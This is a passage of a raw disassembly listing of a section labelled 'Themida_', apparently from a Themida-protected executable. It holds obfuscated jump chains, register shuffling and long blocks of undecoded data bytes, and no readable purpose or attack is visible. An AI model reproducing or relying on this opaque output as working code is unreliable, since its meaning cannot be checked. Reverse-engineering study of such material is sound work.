ebp, 4 jmp loc_5A09B5 ; --------------------------------------------------------------------------- loc_593973: ; CODE XREF: Themida_:00596453j or eax, edx jmp loc_5972D1 ; --------------------------------------------------------------------------- aISY db '‰Þé%Y',0 dd 81BD5500h, 4D5E3C57h, 2370C581h, 0EA29067Eh, 9A59E9h dd 0D8E95C00h, 89000009h, 0D63158C2h, 4EC815Ah, 89000000h dd 5B56241Ch, 0D825E9h, 0E9485B00h, 0FFFFF426h, 26EEC181h dd 0E981553Ah, 0C69A2DEh, 5159CF21h, 7DEEBB53h, 0D9891AFAh dd 8BCF215Bh, 0FFE9240Ch, 87FFFFBEh, 7E5C1CDh, 25A2C581h dd 0CD81045Ah, 37B475D6h, 1E0BE9h, 88E28100h, 5727C52Eh dd 5F13BFh, 258CE946h, 0EB830000h, 241C8704h, 0FFF557E9h dd 240C87FFh, 0EC834959h, 24348904h, 0D24F7FBEh, 0AC56E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593A22: ; CODE XREF: Themida_:00594FF9j pop ebx mov eax, [esp] push ebx jmp loc_596BFC ; --------------------------------------------------------------------------- dd 0B8E9F901h, 4D0000CCh, 0ED30ED81h, 0EE89F767h, 5EF1015Dh dd 5104E983h, 42474FFh, 0F07CE9h, 4D35C00h, 0FCE99C24h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593A57: ; CODE XREF: Themida_:0059800Dj pop esi add esi, 94512D4h jmp loc_597D7D ; --------------------------------------------------------------------------- loc_593A63: ; CODE XREF: Themida_:0059E68Cj sub edx, 4 jmp loc_59ABB9 ; --------------------------------------------------------------------------- aSjn db '\éJN',0 align 4 dd 5324048Fh, 7C71B951h, 93BB7F11h, 180EE83h, 240C8BCBh dd 4C481h, 7E90000h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593A93: ; CODE XREF: Themida_:0059D207j dec edx neg edx add edx, 5A4B525Ch jmp loc_598005 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B9240C89h, 24190CB6h, 5603E1C1h, 4C7CEBBEh, 73F6814Dh dd 81714050h, 0C0341EE9h, 81F12968h, 0C0341EC1h, 0EC835E68h dd 241C8904h, 0E904EC83h, 0FFFFAE54h, 565C68h, 24248900h dd 4240483h, 0BAFAE9h, 5EF58900h, 0E9EF015Fh, 0FFFFF35Eh dd 0E959CD01h, 0FFFFAD66h, 1C5AB951h, 0D1F70E64h, 23AC181h dd 0F0E94186h, 10000F3h, 0B95159CFh, 4, 8759CF29h, 248B243Ch dd 243C8924h, 47AE6853h, 0C15B286Ah, 0BD5506EBh, 4C3A078Dh dd 0FFD753E9h, 4C281FFh, 83000000h, 148704EAh, 1C895C24h dd 81E38924h, 4ECh, 0EC58E900h, 815AFFFFh, 4C4h, 51C96800h dd 34890000h, 0CC7EE924h, 1C890000h, 0E4E95524h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593B73: ; CODE XREF: Themida_:00591E48j mov ebx, 26CA0765h jmp loc_59ABAD ; --------------------------------------------------------------------------- db 5Eh, 1, 0CFh dd 4C78159h, 57000000h, 42474FFh, 24048F5Fh, 5724248Bh dd 5126E9h, 243C3100h, 8B243C33h, 24D32424h, 0A8E99C24h dd 81FFFFA7h, 1520F1CDh, 60FBE92Fh, 148B0000h, 0E2895224h dd 4C281h, 0ADE90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593BC7: ; CODE XREF: Themida_:00590CE1j mov [esp], edi mov edi, 781C6A36h sub ecx, 4E1715E9h add ecx, edi push ebx mov ebx, 4E1715E9h add ecx, ebx pop ebx pop edi jmp loc_59F71A ; --------------------------------------------------------------------------- loc_593BE6: ; CODE XREF: Themida_:00596669j pop esp push esi mov esi, 3A8E4079h add eax, esi pop esi sub eax, 659523DBh jmp loc_59BC44 ; --------------------------------------------------------------------------- loc_593BFA: ; CODE XREF: Themida_:005A010Fj xchg ebp, [esp] jmp loc_599338 ; --------------------------------------------------------------------------- dw 48Fh dd 34895C24h, 243C3124h, 31243C33h, 0D7F7243Ch, 5E243C87h dd 58243487h, 549B68h, 240C8900h, 168h, 2434FF00h, 0E92434FFh dd 0D021h, 8E2055Dh, 0C80153D2h, 0D208E22Dh, 4875953h dd 24248B24h, 0E9240431h, 0FFFFA703h, 27135635h, 78652D2Ah dd 0C3012DF8h, 0A7A8E958h, 0B468FFFFh, 5E29542Eh, 468AF681h dd 0F3891D6Fh, 8BD9295Eh, 0BCE9241Ch, 5E000031h, 0E69CE9h dd 2434FF00h, 0E924048Bh, 0D1Bh, 0BA77E95Ah, 0E953FFFFh dd 8669h, 53768h, 63C76800h, 24890000h, 0D879E924h, 0EB290000h dd 0EEED815Dh, 149825Dh, 0EEC581DDh, 5B49825Dh, 8F0AE9h dd 31ADBF00h, 0E7C174DEh, 14E94F02h, 8B000027h, 0C4812414h dd 4, 8B24048Fh, 67E92424h, 8100004Eh, 0F877F8F3h, 1B2DE977h dd 148B0000h, 4C48124h, 68000000h, 76AFh, 0BD242C89h, 2ED91D7Ch dd 338CED81h, 0CD8121CDh, 0C4F3AF3h, 56DCF581h, 0DDF752CFh dd 0FFC87AE9h, 243C33FFh, 0E9243C31h, 81F4h, 42474FFh dd 24048F5Dh, 6824248Bh, 18DAh, 68240C89h, 70A2h, 0FFD3FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_593D45: ; CODE XREF: Themida_:005A0D04j pop esp inc ebx not ebx or ebx, 220748Bh jmp loc_598838 ; --------------------------------------------------------------------------- dd 2EA36856h, 348B53DDh, 4C48324h, 685EBB53h, 0E38115BDh dd 158356F1h, 0C103E3C1h, 0F38103E3h, 5EBE0472h, 0FFD7A8E9h dd 0E9EA31FFh, 7839h, 5524248Bh, 468h, 76E95D00h, 5BFFFFBDh dd 8904EC83h, 71BE2434h, 0C11B9334h, 0C14604EEh, 0B85007EEh dd 0FFFFFFFFh, 48BC601h, 4C48324h, 1C681h, 0C6810000h dd 4CC9A50Ah, 6EE9F029h, 830000C4h, 0C8904ECh, 5EAAB924h dd 0D9F7591Bh, 0AED9F181h, 0CE01840Bh, 5EF70159h, 4EF81h dd 0E90000h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593DEB: ; CODE XREF: Themida_:0059409Fj mov ecx, [esp] jmp loc_599057 ; --------------------------------------------------------------------------- db 0C1h dd 0BE5606E2h, 1FA2ACDh, 0D6F7D6F7h, 0CE81D6F7h, 6CB41105h dd 0D0E8E94Eh, 0CB01FFFFh, 24048B59h, 8304C483h, 1C8904ECh dd 2474FF24h, 48F5B04h, 0D016E924h, 0C4830000h, 5280E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593E32: ; CODE XREF: Themida_:00596D40j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_5A1B5D ; --------------------------------------------------------------------------- aMsM db '¬é,¬',0 ; DATA XREF: Themida_:0058E1F0o dd 1ABA5200h, 89495308h, 0FFBE5AD5h, 81AC8E54h, 5F7239EEh dd 81EE2941h, 5F7239C6h, 0C6815D41h, 0E9639BFh, 0D103EEC1h dd 5E6C1E6h, 0F681DEF7h, 6929E46Bh, 0E95EF501h, 0FFFFB77Fh dd 5C4EDE2Dh, 1E4053Bh, 1C8B09D5h, 4C48124h, 68000000h dd 1010h, 68241C89h, 674C4999h, 0D215E95Bh, 0DEF70000h dd 8AD0C681h, 0F531D9C3h, 8124348Bh, 4C4h, 75C58100h, 0F7137A38h dd 0A16845DDh, 89000034h, 4FE92414h, 8B000055h, 15E9243Ch dd 0BF0000C8h, 370301C3h, 5F1E9h, 2434FF00h, 13D7E9h db 0 ; --------------------------------------------------------------------------- loc_593EF1: ; CODE XREF: Themida_:005988A1j shr edi, 5 add edi, 51682687h xor ecx, edi pop edi mov ebp, ecx jmp loc_59169E ; --------------------------------------------------------------------------- dword_593F04 dd 24048B66h, 815A5452h, 4C2h, 4B85000h, 0E9000000h, 8C46h ; DATA XREF: Themida_:0058E0C8o dd 54415DBFh, 5FFB3104h, 2514E381h, 0EBC1291Dh, 72C38108h dd 29163362h, 0B0D5E9DAh, 0E6C10000h, 0DCBB5306h, 2946AD6Bh dd 0E9525BDEh, 0DBFBh, 2B3268h, 241C8900h, 0EBC052B3h dd 6EBC007h, 6626E380h, 809CB551h, 0CDFEF8C5h, 0E987ED80h dd 63FCh ; --------------------------------------------------------------------------- loc_593F70: ; CODE XREF: Themida_:005A0C7Ej sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx pop eax pop ecx push ebp push ecx push 13EF38CAh push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ecx, 5 push edi mov edi, 3CE46E1Bh inc edi jmp loc_598894 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0BCh dd 137D562h, 0BCC381EBh, 8B37D562h, 90E9242Ch, 31000090h dd 68C831C1h, 1A47h, 55240C89h, 42474FFh, 24048F5Dh, 1268D5F7h dd 89000021h, 74FF242Ch, 8F5D0424h, 34FF2404h db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5A0BC9 ; --------------------------------------------------------------------------- dd 2404FF66h, 0A349E99Ch, 0DBF7FFFFh, 0EB81E3D1h, 66F61480h dd 9021E9h, 81D5F700h, 8504EACDh, 0E5814D4Bh, 7257B0Fh dd 93F0ED81h, 0EE018579h, 81D6015Dh, 0AB6E1EEEh, 9FB9517Dh dd 56013406h, 2F5796BEh, 4AC68144h, 0E9697407h, 99BCh dd 70FCE981h, 0D9012342h, 70FCC181h, 1012342h, 81240C8Bh dd 4C4h, 2434FF00h, 0F00FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594072: ; CODE XREF: Themida_:00599232j mov esi, ebp jmp loc_58E7AB ; --------------------------------------------------------------------------- loc_594079: ; CODE XREF: Themida_:005940ABj push ebx mov ebx, 15C3AC14h jmp loc_59CC9B ; --------------------------------------------------------------------------- dd 0C95DFCB8h, 0A4E95538h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59408F: ; CODE XREF: Themida_:0059C040j add ch, bl pop ebx not ch or ch, 0Fh shr ch, 5 sub ch, 30h sub al, ch jmp loc_593DEB ; --------------------------------------------------------------------------- loc_5940A4: ; CODE XREF: Themida_:0058F1B8j mov eax, 2B875830h shr eax, 1 jmp loc_594079 ; --------------------------------------------------------------------------- loc_5940B0: ; CODE XREF: Themida_:0059F160j mov ebp, 12DE4E29h xor ebp, 7F696BCAh add ebp, 9543598Dh sub ebp, 278158F3h shl ebp, 7 xor ebp, 3EB690Ah xchg ecx, ebp push ecx not dword ptr [esp] pop ecx xchg ecx, ebp inc ebp xor ebp, 4087A872h jmp loc_590BE9 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0DF3CE955h, 1C89FFFFh, 575B5424h, 4BFh, 5FFB0100h, 2C381h dd 1C870000h, 38685C24h, 89000049h, 6B62414h, 0E9E4B151h dd 79A0h, 0E903EEC1h, 23DEh, 0AC2CA068h, 7D16E913h, 4870000h dd 0C895C24h, 0C8B5424h, 0E7895724h, 0FFB724E9h db 0FFh byte_59413D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E2F0o dd 0E9545724h, 0FFFFA821h, 53FF685Ch, 1C890000h, 7B036824h dd 0C890000h, 7AD06824h, 81595C5Fh, 4F1692E9h, 59CB894Fh dd 8103EBC1h, 0A20C85EBh, 10E4E901h, 0E9810000h, 4, 5C240C87h dd 0B9240C89h, 36781528h, 488B68h, 243C8900h, 0B8320968h dd 0EF815F3Dh, 449C6CD2h, 281568h, 240C8900h, 8934E9h db 0 byte_5941A9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058E248o dd 4EC8124h, 0E9000000h, 0FFFFA9C6h, 0C8EE815Ah, 0E90F4499h dd 0C8D6h, 2577F681h, 0C2817C89h, 70E17412h, 0EA81F201h dd 70E17412h, 0AF40E9h, 96F58100h, 0E96A3B36h, 0FFFFCDBCh dd 3EEE815Ah, 13D16D7h, 0B020E9F0h, 0F281FFFFh, 92561A10h dd 815AD189h, 1C1h, 10E18100h, 0E9177066h, 0A899h, 0D5F7D5F7h dd 0F8C8ED81h, 4EE99F71h, 0BA0000ADh, 58A80E18h, 1C85E9h dd 0A8EA8100h, 0E9EBD9BFh, 9034h, 1A153668h, 1710E96Ch dd 685C0000h, 2BB7h, 89240489h, 405E0h, 4050000h, 87000000h dd 0E95C2404h, 9D7h, 0C381E389h, 4, 8704EB83h, 248B241Ch dd 24348924h, 47406855h, 95E90AB2h, 0BE000013h, 83C2D69h dd 0BE917B8h, 0E9F031B4h, 90F7h dword_59428C dd 241CF766h, 0A0BDE99Ch, 8A2DFFFFh, 317D351Eh, 31C231D0h ; DATA XREF: Themida_:0058E128o dd 0D2F74AD0h, 5F780D92h, 0E9401D45h, 0C14Dh, 4BB53h, 0D9010000h dd 240C875Bh, 24048F5Ch, 0E924248Bh, 3FFBh, 5E08950h, 4 dd 405h, 24048700h, 4C1815Ch, 83000000h, 0C8704E9h, 24248B24h dd 68243C89h, 7F5Ch, 68242C89h, 67776329h, 5D2434FFh, 0E904C483h dd 63FFh, 4244481h, 22C377E4h, 4244481h, 65A57404h, 4246C81h dd 0D275E55h, 4455BB53h, 5C0132A4h, 5D5B0824h, 8324048Bh dd 0F76804C4h, 8900001Fh, 0DEBA2414h, 0E90F6D51h, 0FFFFEB95h dd 4EC8350h, 83242489h, 58042404h, 405h, 4E88300h, 31240433h dd 4332404h, 0C895C24h, 4EC8124h, 89000000h, 4832424h dd 66E90424h, 83FFFFDAh, 0FF5204C4h, 5A042474h, 5C24048Fh dd 24043166h, 9FC9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59438A: ; CODE XREF: Themida_:0059369Dj push 4718h mov [esp], ebp push 1E33h mov [esp], esi mov esi, 1A45F4Eh push ebx mov ebx, 3EDF5F86h neg ebx inc ebx xor ebx, 12300F0Ch not ebx xor ebx, 2D4B0FC2h add esi, 665258B3h sub esi, ebx sub esi, 665258B3h mov ebx, [esp] sub esp, 4 mov [esp], edx jmp loc_598C78 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Ah, 8904EC83h, 65B7241Ch, 4EC81h, 4890000h, 0E9D2B424h dd 9183h, 0C689E889h, 0CDC3E958h, 0C781FFFFh, 317E74FDh dd 90E9D7F7h, 5F000034h, 14CBC281h, 77E90FEAh, 8000006Dh dd 5E9EEEDh, 500009Dh, 0EE23E87h, 0E18EE9h, 396EB900h dd 0CA01067Dh, 4EC8159h, 89000000h, 0D9E9243Ch, 83000016h dd 0CF81FFC7h, 3370236Ch, 348DE9h db 0 ; --------------------------------------------------------------------------- loc_59444D: ; CODE XREF: Themida_:005A1BC7j mov edx, 1C44343Ah jmp loc_594C7C ; --------------------------------------------------------------------------- loc_594457: ; CODE XREF: Themida_:0059D035j xor dl, cl neg cl jmp loc_59DF87 ; --------------------------------------------------------------------------- aSP db '^éÅP',0 align 2 dw 0CB81h dd 47535981h, 1C2EB81h, 55E9660Ah, 44h, 0E99C2404h, 0FFFF9ED3h dd 0F22CD828h, 0E959665Bh, 0FFFFFAC0h, 4C481h, 11E90000h dd 1000087h, 0A449E9F0h, 0EB810000h, 96D08B9Ch, 49E9DE01h dd 89FFFFDDh, 0F3E957F8h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5944B3: ; CODE XREF: Themida_:0059208Cj and ebx, edx push dword ptr [esp] pop edx push edi jmp loc_59F14F ; --------------------------------------------------------------------------- db 68h dd 1, 400685Fh, 3C890000h, 24048124h, 56254B41h, 501DE958h dd 0FB090000h, 81243C8Bh, 4C4h, 0FFB4E900h, 0C381FFFFh dd 4, 8B241C87h, 0C5832424h, 242C8704h, 8124248Bh, 672EBF7h dd 19C7812Bh, 81157F77h, 2647EAEFh, 7E64E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594516: ; CODE XREF: Themida_:005A203Dj pop ecx jmp loc_59CF9C ; --------------------------------------------------------------------------- aWs8 db '\Wé-8',0 dw 8B00h dd 0C4812404h, 4, 86685652h, 5E35A934h, 3484EE81h, 0F28935A9h dd 8324348Bh, 0D5E904C4h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594547: ; CODE XREF: Themida_:0059C675j pop edi push ebx mov ebx, 317B6999h xor ebx, 3D44AA1h jmp loc_5A195F ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BD242C89h, 69E24734h, 81D5F74Dh, 0D268E0E5h, 0F0C5812Fh dd 8153B03Dh, 4ECh, 242C8900h, 7F3CE9h, 55D6F700h, 114F6ABDh dd 5DEE291Bh, 1CA5E957h, 0E8210000h, 1AFA055Dh, 0F32D3190h dd 576F7235h, 0AB25B0BFh, 7D89E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5945AA: ; CODE XREF: Themida_:0059CF53j pop ecx jmp loc_59D59D ; --------------------------------------------------------------------------- dd 50241489h, 0E951EFB0h, 0AED5h, 0F805E95Dh, 0D501FFFFh dd 71BE9h, 325B6800h, 38E96FD5h, 5E000073h, 1756E9h, 2414F700h dd 2FEB815Bh, 0E976ED3Dh, 0A596h, 405E089h, 83000000h dd 48704C0h, 0C4835C24h, 6E7AE904h, 24B50000h, 0F604EDC0h dd 1DC580D5h, 6603E5C0h, 2820B652h, 0EC13E9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594616: ; CODE XREF: Themida_:005A1D58j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push edi push 4 pop edi jmp loc_59E26E ; --------------------------------------------------------------------------- db 0E9h, 1Dh, 9Dh dd 18E9FFFFh db 9Dh, 2 dup(0FFh) byte_59463B db 0FFh ; DATA XREF: Themida_:0058E17Co dd 53582434h, 0EC81E389h, 4, 0BD242C89h, 41841A38h, 0A924E9h dd 0C7815E00h, 4, 4EC81h, 85E90000h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594667: ; CODE XREF: Themida_:0058FD54j pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 6EF4h mov [esp], edx mov dh, 1Bh push eax mov al, 9 dec al shr al, 4 dec al add al, 9Bh sub dh, al pop eax or dh, 50h xor dh, 7Ch sub bl, dh mov edx, [esp] add esp, 4 push 33E0h mov [esp], edx jmp loc_5909ED ; --------------------------------------------------------------------------- dw 16B9h dd 8114F868h, 88556FEFh, 81CF2965h, 88556FC7h, 0B8505965h dd 24672D72h, 0B61DE953h, 0E7C1FFFFh, 0CCC78107h, 89B1E09Ch dd 0C3015FF8h, 0E924048Bh, 0CECBh, 50358BB8h, 4EC8114h dd 89000000h, 10E92434h, 1000030h, 0F055FF8h, 0FF611058h dd 34FF2434h, 0A1E95F24h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59470F: ; CODE XREF: Themida_:0058ED14j mov ebx, esp add ebx, 4 push eax mov eax, 260D05DFh add eax, 0D9F2FA25h add ebx, eax pop eax sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_59BD9B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 8353E589h, 75E904ECh, 3300001Eh, 0E95C2414h, 0FFFFF8B4h dd 89241C89h, 3EE956D3h, 0C0FFFFE5h, 0E58008EDh, 0F6DDF6C3h dd 0B35366D5h, 0C0B35322h, 0A70EE9h, 2C875800h, 4895C24h dd 7F0B824h, 47892D18h, 0F4FFE924h, 5C29FFFFh, 1C8B0424h dd 4C48124h, 0E9000000h, 6868h ; --------------------------------------------------------------------------- loc_594794: ; CODE XREF: Themida_:0059699Fj xchg ebp, [esp] pop esp jmp loc_597D43 ; --------------------------------------------------------------------------- aFsO db '±Fé!®',0 align 4 dd 0AD657BB9h, 0B64CE93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5947AE: ; CODE XREF: Themida_:0059E505j pop esi add edi, edx push ebp mov ebp, 48996187h xor ebp, 605B3C29h jmp loc_59E04A ; --------------------------------------------------------------------------- dw 815Eh dd 4ECh, 0EE7E900h, 0B70F0000h, 0F86866C0h, 489666Fh, 9B75E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5947DE: ; CODE XREF: Themida_:005A200Dj add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_59E652 ; --------------------------------------------------------------------------- dd offset dword_49005C+0CC0Ch align 4 dd 68241489h, 361B7606h, 8324148Bh, 0C28104C4h, 0FCCB0055h dd 24348152h, 18F47942h, 94EAE9h, 81DEF700h, 686290C6h dd 5EF08947h, 0FFADC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_594825: ; CODE XREF: Themida_:005980F5j shl eax, 7 add eax, 199BBD4Dh or ebx, eax pop eax jmp loc_59E84B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FFB7D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_59483D: ; CODE XREF: Themida_:005A3168j mov ebp, 4 jmp loc_59492C ; --------------------------------------------------------------------------- loc_594847: ; CODE XREF: Themida_:0059A29Cj mov ecx, eax pop eax sub edi, 780358A6h sub edi, ecx add edi, 780358A6h mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_590DF3 ; --------------------------------------------------------------------------- dd 0E9240C31h, 54C4h ; --------------------------------------------------------------------------- loc_594874: ; CODE XREF: Themida_:00598FFBj push dx mov dl, 78h add cl, 0BEh add cl, 0E0h add cl, dl sub cl, 0E0h sub cl, 0BEh pop dx neg cl push dx jmp loc_59BF2A ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0F24248Bh, 0E18951C8h, 4C181h, 0E9830000h, 240C8704h dd 240C895Ch, 50D868h, 24248900h, 4240481h, 0E9000000h dd 0FFFFB617h, 0C15D5E55h, 0C68105E6h, 5CB82EC4h, 77E3EA81h dd 0D9E959BAh, 5C000057h, 0FF9A76E9h, 0BCE95DFFh, 89FFFFC5h dd 98E958C3h, 0FFFFFFCFh, 0E9042474h, 0FFFFA698h ; --------------------------------------------------------------------------- loc_5948F4: ; CODE XREF: Themida_:00591AB7j mov ebp, [esp] add esp, 4 push ecx jmp loc_59E668 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 5C243C87h, 0D259E9h db 0 byte_594915 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E2E4o aHum db '$hãm',0 align 2 aS_4 db 'éê$',0 dw 5800h dd 0E904C483h, 99A6h ; --------------------------------------------------------------------------- loc_59492C: ; CODE XREF: Themida_:00594842j sub esi, 52F72B4Dh add esi, ebp push 67BCh mov [esp], edx mov edx, 15461F50h neg edx xor edx, 0B84ECBFDh jmp loc_59304E ; --------------------------------------------------------------------------- dw 0C181h dd 49D39C41h, 5F59C829h, 0EB06E950h, 0BE56FFFFh, 20ED4FD0h dd 1BFDE681h, 0F6812EB9h, 73736EB7h, 479BC681h, 834E2CFAh dd 148904ECh, 2C84BA24h, 0DFE90915h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594987: ; CODE XREF: Themida_:00592652j xchg esi, [esp] pop esp mov [esp], edx mov edx, esp push esi mov esi, 602F121Ch add esi, 1 add esi, 1 jmp loc_5A1CD0 ; --------------------------------------------------------------------------- db 51h dd 0C1815954h, 4, 4C181h, 0C870000h, 0BCFAE924h, 815DFFFFh dd 0CC0721F5h, 5DEA892Ch, 4EC835Bh, 6129E9h db 0 ; --------------------------------------------------------------------------- loc_5949D1: ; CODE XREF: Themida_:005A2808j push edi mov edi, esp push eax mov eax, esp add eax, 4 jmp loc_59985E ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 4 dd 4C48124h, 8B000000h, 0E955240Ch, 6D83h, 4BD555Fh, 0E9000000h dd 968Ch, 0E3E9815Dh, 14F0526h, 0E3C181D9h, 0E94F0526h dd 79B9h, 0B4E9815Dh, 815DA276h, 3E067DF1h, 34815161h dd 59087724h, 24048B00h, 3504C483h, 590877h, 53240C8Bh dd 0C381E389h, 4, 0FFE2BEE9h, 4EC81FFh, 89000000h, 0C4E9241Ch dd 5C000090h, 8704C183h, 0C15C240Ch, 6F680AE9h, 8900007Eh dd 0EC81241Ch, 4, 0E9241C89h, 0FFFFF6ACh ; --------------------------------------------------------------------------- loc_594A74: ; CODE XREF: Themida_:00596639j mov edx, [esp] add esp, 4 and eax, ebx pop ebx jmp loc_59346D ; --------------------------------------------------------------------------- loc_594A85: ; CODE XREF: Themida_:0059F6EAj push dword ptr [esp] pop esi add esp, 4 push esi xchg ecx, [esp] not ecx xchg ecx, [esp] pop esi xor eax, esi xor esi, eax xor eax, esi push ebx push 1213h mov [esp], edx push edi push 7EE54D7Dh mov edi, [esp] add esp, 4 xor edi, 7EE54D7Ch mov edx, edi pop edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx jmp loc_59A8DE ; --------------------------------------------------------------------------- db 0FFh dd 83582434h, 875B04C4h, 895C240Ch, 3DB22414h, 88D58851h dd 240C8BEBh, 4C481h, 0E3E90000h, 54FFFFE6h, 5024048Bh dd 3106E9h, 8BD18800h, 0D9E92414h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594B0F: ; CODE XREF: Themida_:00595634j mov ebx, 0A6F859CEh jmp loc_597D30 ; --------------------------------------------------------------------------- loc_594B19: ; CODE XREF: Themida_:0058FBCAj mov edx, [esp] jmp loc_599E66 ; --------------------------------------------------------------------------- db 0D1h, 0EEh, 46h dd 0E54EEE81h, 0D2E969D2h, 68FFFF9Ah, 5643380Eh, 83241C8Bh dd 30E904ECh db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594B3F: ; CODE XREF: Themida_:00598B83j and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 12h xor eax, ecx push 6126h mov [esp], eax jmp loc_596B34 ; --------------------------------------------------------------------------- db 42h, 0E9h, 7 db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594B5F: ; CODE XREF: Themida_:00596AE4j xchg ebp, [esp] pop esp mov [esp], edi push eax mov eax, esp jmp loc_59B89A ; --------------------------------------------------------------------------- dw 14BDh dd 0E9520647h, 0FFFFD36Bh, 53E3BB53h, 0E3C15B45h, 81D3F704h dd 75AD23EBh, 0A44FE9E4h, 0BD55FFFFh, 19B4CEC2h, 895DEF01h dd 0EEC15FFEh, 23F68107h, 0E965AF6Ah, 0A2E0h ; --------------------------------------------------------------------------- loc_594BA8: ; CODE XREF: Themida_:0059D988j mov esp, [esp] jmp loc_598AFF ; --------------------------------------------------------------------------- dd 41FFE983h, 0DFF7F987h, 5057F987h, 4E3BBBB8h, 0C826E96Eh dd 0E9560000h, 8C42h, 0E95AD729h, 0AEF0h ; --------------------------------------------------------------------------- loc_594BD4: ; CODE XREF: Themida_:005A01B0j mov ecx, 0BDDD09F8h add ebp, ecx pop ecx mov edi, ebp mov ebp, [esp] add esp, 4 add esi, edi pop edi and eax, esi jmp loc_5991B7 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 243C895Ch, 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 8124248Bh dd 4ECh, 243C8900h, 4EC81h, 14890000h, 50B16824h, 815A2C5Fh dd 0BB0863E2h, 0F7524229h, 0A3E92414h, 51000049h, 0C181E189h dd 4, 4E981h, 0C870000h, 75E95C24h, 89000044h, 58542404h dd 424A68h, 24348900h, 468h, 24348B00h, 4C481h, 0F0010000h dd 4C0835Eh, 70A1E9h db 0 ; --------------------------------------------------------------------------- loc_594C71: ; CODE XREF: Themida_:0059CFBCj mov ebx, [esp] push edx push esp pop edx jmp loc_5A201E ; --------------------------------------------------------------------------- loc_594C7C: ; CODE XREF: Themida_:00594452j neg edx neg edx push ebp mov ebp, 416E077Dh or edx, ebp pop ebp xor edx, 7684744Ch xor edx, 1AB03DD2h add ecx, edx mov edx, [esp] add esp, 4 push edx mov edx, 0F9D078Ah add edx, 25E6D07h push eax mov eax, 280142B6h add edx, eax pop eax neg edx inc edx add edx, 6ADFDA56h jmp loc_59BCAF ; --------------------------------------------------------------------------- aVwsU db 'VWé$“',0 dw 8900h dd 4C581E5h, 0E9000000h, 63AEh, 7951BD55h, 6C2919DBh, 0E95D0424h dd 0FFFFDE52h, 951AE95Ah, 89520000h, 4C281E2h, 83000000h dd 148704C2h, 0F5E95C24h, 0BE00008Fh, 106619ACh, 0E908EEC1h dd 0FFFFF84Dh, 0DAE95659h, 54FFFFE9h, 5E2434FFh, 5304C483h dd 8A2E12BBh, 77CDE90Ah, 5F540000h, 4BB53h, 0DF010000h dd 0FFBC7DE9h, 62F281FFh, 0E9EEB07Ah, 8061h, 0E9F0295Bh dd 0B141h, 1415C581h, 0DD010947h, 1415ED81h, 1C8B0947h dd 0E6895624h, 4C681h, 0C6810000h, 4, 42FFE9h, 81E68900h dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 241C8924h, 746909BBh dd 5BD5503h, 29037469h, 0B1E95DEBh, 5DFFFFFFh, 76F4F581h dd 6C812C55h, 44550424h, 448132A4h, 5E550424h, 6C810D27h dd 74040424h, 6C8165A5h, 77E40424h, 6C0122C3h, 3DE90424h dd 9FFFFF5h, 243C8BFEh, 0C104C483h, 32E906E6h, 0FF000068h dd 34E92434h, 53000042h, 0C381E389h, 4, 0D817E950h, 48BFFFFh dd 4C48324h, 0ADEFE9h, 9555E900h, 5751FFFFh, 0FFDFC1E9h dd 0C00B59FFh, 0A030840Fh, 4680000h, 89000057h, 0E9562404h dd 0ACF9h, 435068h, 24348900h, 2D16BD55h, 0ED8160ABh, 